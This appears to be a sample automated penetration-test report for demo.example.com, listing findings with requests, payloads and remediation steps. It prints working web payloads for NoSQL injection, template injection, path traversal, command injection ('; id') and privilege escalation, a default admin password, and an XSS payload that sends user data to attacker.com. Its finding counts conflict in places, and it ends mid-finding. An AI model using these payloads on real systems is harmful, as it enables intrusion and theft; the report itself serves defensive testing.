Attack Simulation Report

Security assessment summary

CONFIDENTIAL — For authorised recipients only. Do not distribute without written consent.

Target: demo.example.com

Simulation Type: Full Domain Attack

Simulation Date: 23 Nov 2026

F

Security Grade

8 confirmed Critical findings — worst: Command Injection - OS Command Execution.
Fix the 8 Critical findings to reach D.

Coverage: Full domain · 13 URLs tested

Risk score: 89/100 (secondary, for trends and API use)

Severity	Count	CVSS Range
Critical	8	9.0 - 10.0
High	3	7.0 - 8.9
Medium	3	4.0 - 6.9
Low	1	0.1 - 3.9
Info	0	N/A

Executive Summary

Security grade: F. The attack simulation of demo.example.com identified 15 actionable findings, including 11 critical and high-severity issues requiring immediate attention. The overall risk score is 89/100 (critical). Immediate remediation of critical and high findings is strongly recommended before the next deployment cycle. 18 techniques (attacks and passive checks) ran against this target; 5 found nothing exploitable (see Tests Performed).

Tests Performed

Every technique that ran against this target, how many URLs it attacked, and what it found.

Technique	URLs tested	Result
Security Headers Check	47	2 issues — see findings
TLS / SSL Analysis	47	1 issue — see findings
Cryptographic Analysis	12	1 issue — see findings
SQL Injection Testing	12	2 issues — see findings
Cross-Site Scripting (XSS) Testing	12	1 issue — see findings
JWT Security Testing	8	1 issue — see findings
Idor	15	1 issue — see findings
Business Logic Testing	10	1 issue — see findings
Information Disclosure Check	12	3 issues — see findings
CORS Misconfiguration Testing	5	1 issue — see findings
Host Header Injection Testing	5	No issues found

Technique	URLs tested	Result
Open Redirect Testing	12	No issues found
XXE Injection Testing	8	No issues found
WebSocket Security Testing	6	No issues found
Credential Stuffing Testing	3	1 issue — see findings
Command Injection Testing	10	1 issue — see findings
Path Traversal Testing	10	No issues found
Ai Assisted Discovery	12	1 issue — see findings

Scan Details

Setting	Value
Run duration	8 minutes 42 seconds
Authenticated simulation	Yes
URLs tested	13
API endpoints tested	12
TLS Grade	B
Response Time	245ms avg
Techniques run	18
URLs discovered (crawl)	47
Subdomains detected	3

Test Coverage

Areas not included in this scan were not tested — no findings there does not mean no vulnerabilities.

Attack area	This scan
Security headers, TLS and cryptography	Tested — 4 issues found
SQL injection and cross-site scripting (XSS)	Tested — 3 issues found
Authentication and JWT attacks	Tested — 1 issue found
Access control (IDOR, privilege escalation)	Tested — 1 issue found
Business logic, exposed .env/.git files, SRI	Tested — 4 issues found
CORS, host header and open redirect	Available — not selected
XXE and WebSocket attacks	Available — not selected
Credential attacks (rate-aware password spray)	Tested — 1 issue found
File upload attacks	Selected — nothing to test (no upload form on the tested URLs)
HTTP request smuggling	Not on your plan — Professional and Business
Advanced injection (NoSQL, LDAP, template, command, path traversal)	Tested — 1 issue found
Multi-user authorization chains (BOLA/BFLA)	Not on your plan — Business

Attack area	This scan
AI-guided exploration	Tested — 1 issue found

Areas marked "Not on your plan" run on Professional or Business — see nautillo.pro/pricing.

Assessment Limitations

• Authenticated testing was included for the supplied application context. Coverage still depends on the privileges and workflows reachable with that session.

• This report reflects automated attack simulation coverage of the discovered web application surface at the time of execution. It does not replace a manual penetration test, secure code review, cloud configuration review, or mobile/client assessment.

• Absence of a finding is not proof of absence. Endpoints not discovered by crawling, rate-limited flows, anti-automation controls, and business-logic conditions may require targeted manual validation.

• Some third-party lookups and external telemetry checks may be incomplete when upstream services time out or are unavailable during report generation.

URLs Actively Probed (13)

URLs where the simulation attempted attacker actions (not just discovery).

1. demo.example.com
2. https://demo.example.com/
3. https://demo.example.com/.env
4. https://demo.example.com/api/data
5. https://demo.example.com/api/preview?template={{7*7}}
6. https://demo.example.com/api/search?q={"$ne":null}
7. https://demo.example.com/api/user/124
8. https://demo.example.com/api/user/update
9. https://demo.example.com/download?file=../../../etc/passwd
10. https://demo.example.com/login
11. https://demo.example.com/page
12. https://demo.example.com/search?q=<img src=x onerror=...>
13. https://demo.example.com/tools/ping?host=example.com; id

Discovery Highlights

Total URLs explored	47
AJAX endpoints (crawl)	4
SPA/Client routes detected	3
Forms captured	3
Query parameters observed	3
CDN resources detected	2
Subdomains	3
Restricted paths	4

Compliance Readiness

Control-level results based on techniques executed in this simulation.

PCI DSS 4.0.1

Control	Name	Result
6.2.4	Prevention of common software attacks	FAIL (7 findings)
8.3.4	Invalid authentication attempts limited	FAIL (2 findings)

GDPR Article 32

Control	Name	Result
Art.32(1)(a)	Pseudonymisation and encryption	FAIL (2 findings)
Art.32(1)(d)	Regular validation and review	PARTIAL

FAIL = confirmed findings map to this control. PASS = all mapped tests ran with no confirmed findings. PARTIAL = some mapped tests ran, none failed. NOT TESTED = mapped tests were not enabled.

This is not a compliance certification or attestation. Use as supporting evidence for your compliance program.

AI-Guided Analysis

AI-Assisted Discovery	No issues detected
AI Business Logic Analysis	2 issues found
AI Data Exposure Detection	No issues detected

AI Business Logic Analysis - Findings:

Severity	Title	Category
INFO	Business Logic: Payment Flow	Business Logic
HIGH	Authorization Parameters in URL	Authorization

Defensive Posture

These are configuration and header signals that shape attacker options but are not attack paths by themselves.

Missing Security Headers

Severity: MEDIUM | Category: Security Misconfiguration

Signal
The root endpoint omits critical HTTP response headers including Strict-Transport-Security (HSTS), Content-Security-Policy (CSP), and X-Frame-Options.

Why it matters
Missing headers weaken browser defenses, enabling SSL stripping, clickjacking, content injection, and other client-side attacks.

Recommended hardening
Add HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Permissions-Policy headers across all responses.

Steps Taken:

Command	curl -i "https://demo.example.com/"
Expected	Safe response without vulnerability indicators
Actual	Attack path confirmed in response
Evidence	HTTP/1.1 200 OK Server: nginx/1.18.0 Content-Type: text/html; charset=utf-8 Strict-Transport-Security: [MISSING] Content-Security-Policy: [MISSING] X-Frame-Options: [MISSING]

Narrative 1

Recon

Reconnaissance & Surface Mapping

Target surface mapped from passive signals and crawl discovery.

Foothold

NoSQL Injection - MongoDB Query Manipulation

Search endpoint vulnerable to NoSQL injection. Payload {"$ne": null} bypassed authentication and returned all user records from MongoDB database.

Abuse

Mass Assignment - Privilege Escalation

Attackers can assign themselves administrative privileges, bypass authorization controls, and gain complete control over the application. This leads to full system compromise.

Narrative 2

Recon

Reconnaissance & Surface Mapping

Target surface mapped from passive signals and crawl discovery.

Foothold

Server-Side Template Injection (SSTI)

Email template rendering endpoint executes user-provided template code. Payload {{7*7}} was evaluated and returned 49, confirming Jinja2 template injection vulnerability.

Abuse

Mass Assignment - Privilege Escalation

Attackers can assign themselves administrative privileges, bypass authorization controls, and gain complete control over the application. This leads to full system compromise.

Remediation Roadmap

Prioritized action items — fix in order from top to bottom.

#	Finding	Severity	Due By	Owner	Fix	Ticket
1	Mass Assignment - Privilege Escalation	CRITICAL	24 Nov 2026	Dev	Implement whitelist-based input validation: 1) Only allow specific use…	—
2	NoSQL Injection - MongoDB Query Manipulation	CRITICAL	24 Nov 2026	Dev	1) Use parameterized queries with MongoDB driver methods, 2) Validate	—
3	Server-Side Template Injection (SSTI)	CRITICAL	24 Nov 2026	Dev	1) Never pass user input directly to template engines, 2) Use sandboxe…	—
4	Path Traversal - Arbitrary File Read	CRITICAL	24 Nov 2026	Dev	1) Never use user input to construct file paths, 2) Use whitelist of a…	—
5	Command Injection - OS Command Execution	CRITICAL	24 Nov 2026	Dev	1) NEVER pass user input to system commands, 2) Use safe APIs instead	—
6	AI Code Analysis: Hardcoded API Key Exposure	CRITICAL	24 Nov 2026	Dev	1) Remove hardcoded credentials from source code immediately, 2) Rotat…	—
7	Exposed Sensitive File	CRITICAL	24 Nov 2026	Dev	Remove the .env file from the web root and block dotfiles at the serve…	—
8	Default Credentials Accepted	HIGH	30 Nov 2026	Dev	Disable default credentials, enforce strong password policies, monitor…	—
9	IDOR - Insecure Direct Object Reference	HIGH	30 Nov 2026	Dev	Implement object-level authorization checks: 1) Verify the requesting	—
10	AI Dynamic Attack: Context-Aware XSS Payload	HIGH	30 Nov 2026	Dev	1) Use React's default escaping (avoid dangerouslySetInnerHTML), 2) Im…	—
11	Missing Brute Force Protections	MEDIUM	23 Dec 2026	Dev	Implement progressive delays, account lockouts, secondary challenges (…	—
12	Verbose API Error Messages	MEDIUM	23 Dec 2026	Dev	Return sanitized, generic error messages in production and log detaile…	—
13	Cookie Without Secure Flag	LOW	21 Feb 2027	Dev	Set the Secure, HttpOnly, and SameSite attributes on all session cooki…	—

Attack Paths

1. Mass Assignment - Privilege Escalation

Severity	CRITICAL
Category	Broken Access Control
CVSS Score	9.1
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Exploitability	8.8
OWASP	A01:2021 - Broken Access Control
MITRE ATT&CK	T1078 - Valid Accounts

Goal:

User profile update endpoint accepts additional fields including 'role' and 'is_admin'. Successfully escalated privileges by injecting {"role": "admin"} in the update request.

Business Impact:

Attackers can assign themselves administrative privileges, bypass authorization controls, and gain complete control over the application. This leads to full system compromise.

Endpoint Details:

Method: POST

Endpoint: /api/user/update

Parameters: username, email, role, is_admin

Vulnerable Parameter: role

Proof of Impact:

Payload: {"username": "testuser", "email": "testuser@demo.example.com", "role": "admin", "is_admin": true}

Request:
POST /api/user/update HTTP/1.1
Host: demo.example.com
User-Agent: Nautillo Pro Attack Simulation/1.0
Authorization: [REDACTED]
Content-Type: application/json

{"username": "testuser", "email": "testuser@demo.example.com", "role": "admin", "is_admin": true}

Response:
HTTP/1.1 200 OK
Content-Type: application/json

{"success": true, "user": {"id": 123, "username": "testuser", "email": "[REDACTED: Email]", "role": "admin", "is_admin": true}}

Steps Taken:

Command	curl -i "https://demo.example.com/api/user/update"
Expected	Safe response without vulnerability indicators
Actual	Vulnerability detected in response
Evidence	HTTP/1.1 200 OK Content-Type: application/json

Steps to reproduce:

1. Authenticate as regular user

2. Send POST request to /api/user/update with legitimate fields (username, email)

3. Inject privileged fields in request body: {"role": "admin", "is_admin": true}

4. Observe that response confirms role was changed to admin

5. Verify admin access by accessing /admin endpoints

Remediation:

Implement whitelist-based input validation: 1) Only allow specific user-editable fields, 2) Use DTOs to explicitly define allowed fields, 3) Separate user-editable fields from privileged fields, 4) Never trust client-provided authorization data.

Affected URLs:

- https://demo.example.com/api/user/update

2. NoSQL Injection - MongoDB Query Manipulation

Severity	CRITICAL
Category	Injection
CVSS Score	9.8
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Exploitability	9.2
OWASP	A03:2021 - Injection
MITRE ATT&CK	T1190 - Exploit Public-Facing Application

Goal:

Search endpoint vulnerable to NoSQL injection. Payload {"$ne": null} bypassed authentication and returned all user records from MongoDB database.

Business Impact:

Attackers can bypass authentication, extract entire database contents, modify records, or execute arbitrary queries. This leads to complete database compromise and data breach.

Endpoint Details:

Method: GET

Endpoint: /api/search

Parameters: q

Vulnerable Parameter: q

Proof of Impact:

Payload: [REDACTED: NoSQL injection payload] - Use safe test string: test123

Request:
GET /api/search?q={"$ne":null} HTTP/1.1
Host: demo.example.com
User-Agent: Nautillo Pro Attack Simulation/1.0

NoSQL operator injected in query parameter

Response:
HTTP/1.1 200 OK
Content-Type: application/json

{"results": [{"user": "admin", "email": "[REDACTED: Email]"}, {"user": "user1", "email": "[REDACTED: Email]"}, ... 500 more records], "count": 502}

Steps Taken:

Command	curl -i "https://demo.example.com/api/search?q={"$ne":null}"
Expected	Safe response without vulnerability indicators
Actual	Vulnerability detected in response
Evidence	HTTP/1.1 200 OK Content-Type: application/json

Steps to reproduce:

1. Navigate to /api/search endpoint

2. Inject NoSQL operator in query: ?q={"$ne":null}

3. Observe that all database records are returned instead of filtered results

4. Verify MongoDB error messages in response indicating query execution

Remediation:

1) Use parameterized queries with MongoDB driver methods, 2) Validate and sanitize all user input, 3) Never construct queries by concatenating user input, 4) Implement strict input validation with type checking, 5) Use principle of least privilege for database accounts.

Affected URLs:

- https://demo.example.com/api/search?q={"$ne":null}

3. Server-Side Template Injection (SSTI)

Severity	CRITICAL
Category	Injection
CVSS Score	9.8
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Exploitability	9.3
OWASP	A03:2021 - Injection
MITRE ATT&CK	T1190 - Exploit Public-Facing Application

Goal:

Email template rendering endpoint executes user-provided template code. Payload {{7*7}} was evaluated and returned 49, confirming Jinja2 template injection vulnerability.

Business Impact:

Attackers can execute arbitrary Python code on the server, read sensitive files, access environment variables, compromise the entire server infrastructure, and establish persistent backdoors.

Endpoint Details:

Method: GET

Endpoint: /api/preview

Parameters: template

Vulnerable Parameter: template

Proof of Impact:

Payload: {{7*7}}

Request:
GET /api/preview?template={{7*7}} HTTP/1.1
Host: demo.example.com
User-Agent: Nautillo Pro Attack Simulation/1.0

Template injection payload in query parameter

Response:
HTTP/1.1 200 OK
Content-Type: text/html

<html><body><h1>Preview</h1> Result: 49 </body></html>

Template was executed and 7*7 evaluated to 49

Steps Taken:

Command	curl -i "https://demo.example.com/api/preview?template={{7*7}}"
Expected	Safe response without vulnerability indicators
Actual	Vulnerability detected in response
Evidence	HTTP/1.1 200 OK Content-Type: text/html

Steps to reproduce:

1. Navigate to /api/preview endpoint

2. Inject template payload: ?template={{7*7}}

3. Observe that response contains '49' instead of '{{7*7}}'

4. Confirm template execution by trying {{config}} to leak configuration

5. Escalate to RCE with Jinja2 payloads

Remediation:

1) Never pass user input directly to template engines, 2) Use sandboxed template environments, 3) Disable dangerous template features (eval, import, etc.), 4) Validate and escape all user input, 5) Use logic-less templates when possible, 6) Update template engine to latest version.

Affected URLs:

- https://demo.example.com/api/preview?template={{7*7}}

4. Path Traversal - Arbitrary File Read

Severity	CRITICAL
Category	Injection
CVSS Score	8.6
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Exploitability	8.1
OWASP	A03:2021 - Injection
MITRE ATT&CK	T1190 - Exploit Public-Facing Application

Goal:

File download endpoint vulnerable to path traversal. Successfully accessed /etc/passwd using payload ../../../etc/passwd, exposing system user accounts.

Business Impact:

Attackers can read arbitrary files including configuration files, source code, password files, database credentials, API keys, and application secrets. This leads to complete system information disclosure.

Endpoint Details:

Method: GET

Endpoint: /download

Parameters: file

Vulnerable Parameter: file

Proof of Impact:

Payload: [REDACTED: Path traversal payload] - Use safe test: index.html

Request:
[REDACTED: Path traversal payload] - Use safe test: index.html
Host: demo.example.com
User-Agent: Nautillo Pro Attack Simulation/1.0

Path traversal payload in file parameter

Response:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Disposition: attachment

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Steps Taken:

Command	curl -i "https://demo.example.com/download?file=../../../etc/passwd"
Expected	Safe response without vulnerability indicators
Actual	Vulnerability detected in response
Evidence	HTTP/1.1 200 OK Content-Type: text/plain Content-Disposition: attachment

Steps to reproduce:

1. Navigate to /download endpoint

2. Inject path traversal payload: ?file=../../../etc/passwd

3. Observe that /etc/passwd contents are returned

4. Try other sensitive files: ../../../etc/shadow, ../../config/database.yml

5. Verify system user accounts and infrastructure details are exposed

Remediation:

1) Never use user input to construct file paths, 2) Use whitelist of allowed files, 3) Validate filenames against strict regex pattern, 4) Use chroot jails or sandboxes, 5) Remove directory traversal sequences, 6) Use absolute paths and verify they stay within allowed directory.

Affected URLs:

- https://demo.example.com/download?file=../../../etc/passwd

5. Command Injection - OS Command Execution

Severity	CRITICAL
Category	Injection
CVSS Score	10.0
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Exploitability	9.8
OWASP	A03:2021 - Injection
MITRE ATT&CK	T1190 - Exploit Public-Facing Application

Goal:

Network diagnostic platform executes OS commands with unsanitized user input. Payload '; id' successfully executed and returned uid=33(www-data) gid=33(www-data) groups=33(www-data).

Business Impact:

Attackers can execute arbitrary system commands, install malware, steal data, establish backdoors, pivot to internal networks, escalate privileges, and completely compromise the server and infrastructure. This is the most critical vulnerability type.

Endpoint Details:

Method: GET

Endpoint: /tools/ping

Parameters: host

Vulnerable Parameter: host

Proof of Impact:

Payload: [REDACTED: Command injection payload] - Use safe test string: localhost

Request:
[REDACTED: Command injection payload] - Use safe test string: localhost
Host: demo.example.com
User-Agent: Nautillo Pro Attack Simulation/1.0

Command injection payload appended to host parameter

Response:
HTTP/1.1 200 OK
Content-Type: text/plain

PING example.com (93.184.216.34): 56 data bytes
64 bytes from 93.184.216.34: icmp_seq=0 ttl=55 time=11.632 ms

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Steps Taken:

Command	curl -i "https://demo.example.com/tools/ping?host=example.com; id"
Expected	Safe response without vulnerability indicators
Actual	Vulnerability detected in response
Evidence	HTTP/1.1 200 OK Content-Type: text/plain

Steps to reproduce:

1. Navigate to /tools/ping endpoint

2. Inject command separator and payload: ?host=example.com; id

3. Observe that both ping and id commands are executed

4. Verify server user context (www-data) is exposed

5. Escalate to reverse shell or data exfiltration

Remediation:

1) NEVER pass user input to system commands, 2) Use safe APIs instead of shell commands, 3) If unavoidable, use strict whitelist validation, 4) Escape shell metacharacters: ; | & $ ` \ " ' < > ( ), 5) Use parameterized command execution, 6) Run application with minimal privileges, 7) Monitor and alert on command execution.

Affected URLs:

- https://demo.example.com/tools/ping?host=example.com; id

6. AI Code Analysis: Hardcoded API Key Exposure

Severity	CRITICAL
Category	Code Security
CVSS Score	9.1
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Exploitability	8.5
OWASP	A02:2021 - Cryptographic Failures
MITRE ATT&CK	T1557 - Adversary-in-the-Middle

Goal:

AI-guided code analysis flagged hardcoded API keys in client-side JavaScript. File /static/js/app.bundle.js contains an AWS access key (AKIA...) and secret key exposed in plain text.

Business Impact:

Exposed API keys allow attackers to impersonate the application, access cloud resources, modify infrastructure, exfiltrate data from AWS services, and potentially incur significant cloud computing costs. Financial and data loss are likely.

Endpoint Details:

Method: GET

Endpoint: /static/js/app.bundle.js

Proof of Impact:

Payload: AI analyzed JavaScript code and extracted credentials

Request:
GET /static/js/app.bundle.js HTTP/1.1
Host: demo.example.com

AI downloaded and analyzed JavaScript for security issues

Response:
File: app.bundle.js (line 1247)
const AWS_ACCESS_KEY = "[REDACTED: AWS Access Key]";
const AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY";
const s3 = new AWS.S3({ accessKeyId: AWS_ACCESS_KEY, secretAccessKey: AWS_SECRET_KEY });

Steps Taken:

Command	curl -i "https://demo.example.com/static/js/app.bundle.js"
Expected	Safe response without vulnerability indicators
Actual	Vulnerability detected in response
Evidence	File: app.bundle.js (line 1247) const AWS_ACCESS_KEY = "[REDACTED: AWS Access Key]"; const AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"; const s3 = new AWS.S3({ accessKeyId: AWS_ACCESS_KEY, secretAccessKey: AWS_SECRET_KEY });

Steps to reproduce:

1. Attacker downloads /static/js/app.bundle.js

2. AI analyzes code for security vulnerabilities

3. AI identifies hardcoded AWS credentials at line 1247

4. Credentials can be extracted and used to access AWS resources

5. Verify by attempting AWS API calls with extracted keys

Remediation:

1) Remove hardcoded credentials from source code immediately, 2) Rotate compromised API keys, 3) Use environment variables for secrets, 4) Implement secrets management (AWS Secrets Manager, HashiCorp Vault), 5) Add pre-commit hooks to detect secrets, 6) Never commit credentials to version control.

Affected URLs:

- https://demo.example.com/static/js/app.bundle.js

7. Exposed Sensitive File

Severity	CRITICAL
Category	Sensitive Data Exposure
CVSS Score	9.8
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Exploitability	9.2
OWASP	A05:2021 - Security Misconfiguration
MITRE ATT&CK	T1595 - Active Scanning

Goal:

Environment file (.env) is publicly served at https://demo.example.com/.env, leaking database credentials and API keys.

Business Impact:

A served .env file typically contains database credentials, API keys, and secrets that grant direct access to backend systems.

Endpoint Details:

Method: GET

Endpoint: /.env

Proof of Impact:

Request:
GET https://demo.example.com/.env

Response:
HTTP 200 (text/plain)

DB_HOST=prod-db.internal
DB_PASSWORD=[REDACTED]
STRIPE_SECRET_KEY=[REDACTED]
JWT_SECRET=********

Steps Taken:

Command	curl -i "https://demo.example.com/.env"
Expected	Security control should be present
Actual	Weak defense or misconfigured
Evidence	HTTP 200 (text/plain)

Steps to reproduce:

1. curl -i https://demo.example.com/.env

2. Observe HTTP 200 with the file contents below

3. Confirm the response is the real Environment file (.env), not an HTML error page

Remediation:

Remove the .env file from the web root and block dotfiles at the server/CDN. Rotate every credential it contained.

Affected URLs:

- https://demo.example.com/.env

8. Default Credentials Accepted

Severity	HIGH
Category	Authentication Hardening
CVSS Score	8.8
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Exploitability	8.2
OWASP	A07:2021 - Identification and Authentication Failures
MITRE ATT&CK	T1078 - Valid Accounts

Goal:

Credential stuffing simulation succeeded with a common username/password pair. The login endpoint accepted default credentials without triggering MFA or additional verification.

Business Impact:

Attackers reusing breached credential lists can gain full account access, pivot to administrative areas, and escalate privileges without detection.

Endpoint Details:

Method: POST

Endpoint: /login

Parameters: username, password

Vulnerable Parameter: username

Proof of Impact:

Payload: username=admin&password=[REDACTED]

Request:
POST /login HTTP/1.1
Host: demo.example.com
User-Agent: Nautillo Pro Credential Stuffing Simulator/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

username=admin&password=[REDACTED]

Response:
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session_id=xyz987; Path=/; HttpOnly

Authenticated redirect returned without MFA challenge.

Steps Taken:

Command	curl -i "https://demo.example.com/login"
Expected	Safe response without vulnerability indicators
Actual	Vulnerability detected in response
Evidence	HTTP/1.1 302 Found Location: /dashboard Set-Cookie: session_id=xyz987; Path=/; HttpOnly

Steps to reproduce:

1. Issue a POST request to https://demo.example.com/login with username=admin and password=Admin@123.

2. Observe the 302 redirect to /dashboard indicating successful authentication.

3. No MFA, CAPTCHA, or secondary verification was required.

Remediation:

Disable default credentials, enforce strong password policies, monitor for repeated failed logins, and require MFA for privileged accounts.

Affected URLs:

- https://demo.example.com/login

9. IDOR - Insecure Direct Object Reference

Severity	HIGH
Category	Broken Access Control
CVSS Score	8.1
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Exploitability	7.5
OWASP	A01:2021 - Broken Access Control

MITRE ATT&CK	T1078 - Valid Accounts

Goal:

User profile endpoint allows unauthorized access to other users' data by incrementing the user ID parameter. Successfully accessed user ID 124 when authenticated as user ID 123.

Business Impact:

Attackers can enumerate and access all user records, including personal information, email addresses, and account details. This violates user privacy and can lead to account takeover or identity theft.

Endpoint Details:

Method: GET

Endpoint: /api/user/:id

Parameters: id

Vulnerable Parameter: id

Proof of Impact:

Payload: Modified user ID from 123 to 124

Request:
GET /api/user/124 HTTP/1.1
Host: demo.example.com
User-Agent: Nautillo Pro Attack Simulation/1.0
Authorization: [REDACTED]

Authenticated as user ID 123, accessing user ID 124

Response:
HTTP/1.1 200 OK
Content-Type: application/json

{"user_id": 124, "username": "victim_user", "email": "[REDACTED: Email]", "phone": "+1-555-0199", "address": "123 Main St"}

Steps Taken:

Command	curl -i "https://demo.example.com/api/user/124"
Expected	Safe response without vulnerability indicators
Actual	Vulnerability detected in response
Evidence	HTTP/1.1 200 OK Content-Type: application/json

Steps to reproduce:

1. Authenticate as a regular user (e.g., user_id=123)

2. Request GET /api/user/123 to view own profile - succeeds

3. Request GET /api/user/124 to view another user's profile - also succeeds without authorization check

4. Observe that sensitive data of user 124 is returned despite being authenticated as user 123

Remediation:

Implement object-level authorization checks: 1) Verify the requesting user owns the resource, 2) Use UUIDs instead of sequential IDs, 3) Implement session-based access control, 4) Log and monitor ID enumeration attempts.

Affected URLs:

- https://demo.example.com/api/user/124

10. AI Dynamic Attack: Context-Aware XSS Payload

Severity	HIGH
Category	Cross-Site Scripting
CVSS Score	7.4
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Exploitability	6.8
OWASP	A03:2021 - Injection
MITRE ATT&CK	T1190 - Exploit Public-Facing Application

Goal:

AI analyzed search functionality and generated context-specific XSS payload. Detected React framework and crafted payload that bypasses dangerouslySetInnerHTML sanitization: <img src=x onerror="fetch('/api/user').then(r=>r.json()).then(d=>fetch('https://attacker.com?data='+btoa(JSON.stringify(d))))">

Business Impact:

AI-generated payloads are tailored to the specific technology stack and context, increasing success rate. This XSS can steal session tokens, exfiltrate user data, perform actions on behalf of users, and bypass traditional WAF rules.

Endpoint Details:

Method: GET

Endpoint: /search

Parameters: q

Vulnerable Parameter: q

Proof of Impact:

Payload: [REDACTED: XSS payload] - Use safe test string: test

Request:
GET /search?q=<img src=x onerror="fetch('/api/user').then(r=>r.json()).then(d=>fetch('https://attacker.com?data='+btoa(JSON.stringify(d))))">
Host: demo.example.com

AI-generated payload targeting React + fetch API

Response:
HTTP/1.1 200 OK
Content-Type: text/html

Search for: <img src=x onerror="fetch('/api/user')...">

Payload executed in browser, user data exfiltrated to attacker server

Steps Taken:

Command	curl -i "https://demo.example.com/search?q=<img src=x onerror=...>"
Expected	Safe response without vulnerability indicators
Actual	Vulnerability detected in response
Evidence	HTTP/1.1 200 OK Content-Type: text/html

Steps to reproduce:

1. AI detects React framework and fetch API usage

2. AI generates XSS payload targeting React's dangerouslySetInnerHTML

3. Payload crafted to exfiltrate /api/user data to attacker-controlled domain

4. Submit payload to search parameter: ?q=<img src=x onerror=...>

5. Payload executes in victim browser, stealing session and user data

Remediation:

1) Use React's default escaping (avoid dangerouslySetInnerHTML), 2) Implement Content Security Policy with strict directives, 3) Validate and sanitize all user input, 4) Use DOMPurify for HTML sanitization, 5) Implement WAF rules tuned for automation, 6) Run periodic simulations and validate fixes.

Affected URLs:

- https://demo.example.com/search?q=<img src=x onerror=...>

11. Missing Brute Force Protections

Severity	MEDIUM
Category	Authentication Hardening
CVSS Score	6.5
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Exploitability	6.7
OWASP	A07:2021 - Identification and Authentication Failures
MITRE ATT&CK	T1078 - Valid Accounts

Goal:

Twenty rapid login attempts using common credential combinations were accepted or rejected without lockouts, MFA challenges, or response slowdowns.

Business Impact:

Automated credential stuffing, password spraying, or brute force attacks can continue indefinitely, increasing the likelihood of account takeover.

Endpoint Details:

Method: POST

Endpoint: /login

Parameters: username, password

Proof of Impact:

Payload: Bulk login spray: 20 credential pairs in 25 seconds

Request:
POST /login HTTP/1.1
Host: demo.example.com
User-Agent: Nautillo Pro Credential Stuffing Simulator/1.0
Content-Type: application/x-www-form-urlencoded

username=tester&password=[REDACTED]

Response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Invalid credentials. No lockout or rate limiting headers were returned.

Steps Taken:

Command	curl -i "https://demo.example.com/login"
Expected	Safe response without vulnerability indicators
Actual	Attack path confirmed in response
Evidence	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8

Steps to reproduce:

1. Send 20 POST requests to /login with unique username/password pairs in under 30 seconds.

2. Verify all responses are HTTP 200 with identical error messaging.

3. Confirm no account lockout or throttling headers are present.

Remediation:

Implement progressive delays, account lockouts, secondary challenges (CAPTCHA/MFA), and alerting after repeated failed authentication attempts.

Affected URLs:

- https://demo.example.com/login

12. Verbose API Error Messages

Severity	MEDIUM
Category	Information Disclosure
CVSS Score	4.3
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Exploitability	3.5
OWASP	A05:2021 - Security Misconfiguration
MITRE ATT&CK	T1595 - Active Scanning

Goal:

Submitting malformed JSON triggers detailed stack traces in the API response, disclosing file paths and line numbers.

Business Impact:

Verbose error output gives attackers insight into internal code structure, frameworks, and potential injection points.

Endpoint Details:

Method: POST

Endpoint: /api/data

Proof of Impact:

Payload: invalid json {{{

Request:
POST /api/data HTTP/1.1
Host: demo.example.com
User-Agent: Nautillo Pro Attack Simulation/1.0
Content-Type: application/json
Content-Length: 15

invalid json {{{

Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json

Traceback (most recent call last):
  File "/app/api/data.py", line 37, in post
    payload = json.loads(body)
JSONDecodeError: Expecting value

Steps Taken:

Command	curl -i "https://demo.example.com/api/data"
Expected	Safe response without vulnerability indicators
Actual	Attack path confirmed in response
Evidence	HTTP/1.1 500 Internal Server Error Content-Type: application/json

Steps to reproduce:

1. POST malformed JSON to https://demo.example.com/api/data.

2. Observe full stack trace leaked in the response body.

3. Use disclosed file paths and line numbers to refine further attacks.

Remediation:

Return sanitized, generic error messages in production and log detailed traces server-side only.

Affected URLs:

- https://demo.example.com/api/data

13. Cookie Without Secure Flag

Severity	LOW
Category	Cryptographic Failure
CVSS Score	4.3
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Exploitability	2.8
OWASP	A02:2021 - Cryptographic Failures
MITRE ATT&CK	T1557 - Adversary-in-the-Middle

Goal:

Session cookies are issued without Secure and SameSite attributes, allowing them to be sent over plaintext HTTP and in cross-site requests.

Business Impact:

Session cookies transmitted over HTTP can be intercepted by attackers on the same network, leading to session hijacking.

Endpoint Details:

Method: POST

Endpoint: /login

Parameters: username, password

Proof of Impact:

Payload: username=demo&password=[REDACTED]

Request:
POST /login HTTP/1.1
Host: demo.example.com
User-Agent: Nautillo Pro Attack Simulation/1.0
Content-Type: application/x-www-form-urlencoded

username=demo&password=[REDACTED]

Response:
